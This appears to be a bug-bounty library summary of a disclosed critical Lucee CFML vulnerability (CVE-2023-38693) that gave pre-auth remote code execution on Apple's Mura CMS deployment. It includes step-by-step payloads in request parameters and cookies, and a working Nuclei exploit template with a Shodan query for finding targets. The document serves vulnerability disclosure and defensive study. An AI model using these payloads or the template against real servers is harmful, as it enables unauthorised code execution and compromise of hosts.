# Hello Lucee! Let us hack Apple again?

Lucee's isDefined()/StructGet()/cookie parsing evaluate user input as CFML expressions, giving pre-auth RCE on Apple's Mura CMS deployment.

- Payout: unconfirmed
- Severity: critical
- Program: Apple, Lucee
- Found by: Harsh Jaiswal, Rahul Maini
- Disclosed: 2024-02-15
- CVE: CVE-2023-38693
- Write-up quality: 9/10
- Original: https://blog.projectdiscovery.io/hello-lucee-let-us-hack-apple-again/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-projectdiscovery-io-hello-lucee-let-us-hack-apple-again
- Tags: area:web domain:web impact:internal-access impact:rce kind:bounty platform:blog sev:critical tech:java technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** Lucee CFML server / Mura-Masa CMS REST and Feed API endpoints
**Root cause:** VariableInterpreter.parse(...,false) and CFMLExpressionInterpreter(false) evaluate attacker-controlled strings as CFML expressions; isDefined("#params.method#") and StorageScopeCookie cookie values reach these sinks.
**Steps:**
1. Deploy Lucee with Mura/Masa CMS; confirm isDefined('#params.method#') in feed/JSON API processRequest
2. Send request with param method set to `x[imageRead('')]` (or render('<cfscript>...'))
3. For cookie path: send `Cookie: CF_CLIENT_LUCEE=render('<cfscript>writeoutput(ToBinary("..."))</cfscript>');`
4. Observe CFML function execution / output in response
**How found:** After prior ColdFusion research, they reviewed Lucee source with a JVM debugger, traced Request::exe and ReqRspUtil.getRequestBody to JavaConverter.deserialize, then grepped for CFMLExpressionInterpreter(false) and VariableInterpreter.parse(...,false) sinks, and searched Mura/Masa for isDefined("#...#") calls reachable pre-auth.
**Exploitation:** Pre-auth HTTP request to Mura/Masa feed or JSON API with a crafted `method` parameter (or CF_CLIENT_LUCEE cookie) containing a CFML expression; Lucee's isDefined/StructGet/cookie parser evaluates it, executing arbitrary CFML functions like imageRead or render for RCE on Apple's production Lucee server.
**Escalation:** Same deserialization sink in Lucee's update server REST endpoint (update.lucee.org/rest/update/provider/echoGet) could compromise the update server, enabling supply-chain attacks against all Lucee installations.
**Insight:** Grep for expression-evaluator constructors with the 'limited' flag set false (CFMLExpressionInterpreter(false), VariableInterpreter.parse(,,false)) and trace which user-controlled strings reach them; also check cookie-backed StorageScope loaders that interpret cookie values as CFML.

## Proof of concept (copied exactly from the original report)

**Nuclei template exploiting CF_CLIENT_ cookie RCE**

```
id: lucee-rce
2
3info:
4 name: Lucee < 6.0.1.59 - Remote Code Execution
5 author: rootxharsh,iamnoooob,pdresearch
6 severity: critical
7 metadata:
8 max-request: 1
9 shodan-query: http.title:"Lucee"
10 verified: true
11 tags: lucee,rce,oast
12
13http:
14 - raw:
15 - |
16 GET / HTTP/1.1
17 Host: {{Hostname}}
18 Cookie: CF_CLIENT_=render('<cfscript>writeoutput(ToBinary("{{base64('{{randstr}}')}}"))</cfscript>');
19
20
21 matchers:
22 - type: dsl
23 dsl:
24 - contains(body, "{{randstr}}")
25 - contains(header, "cfid")
26 - contains(header, "cftoken")
27 condition: and
```

**Mura isDefined call with user param**

```
if (isDefined('params.method') && isDefined('#params.method#')){
```

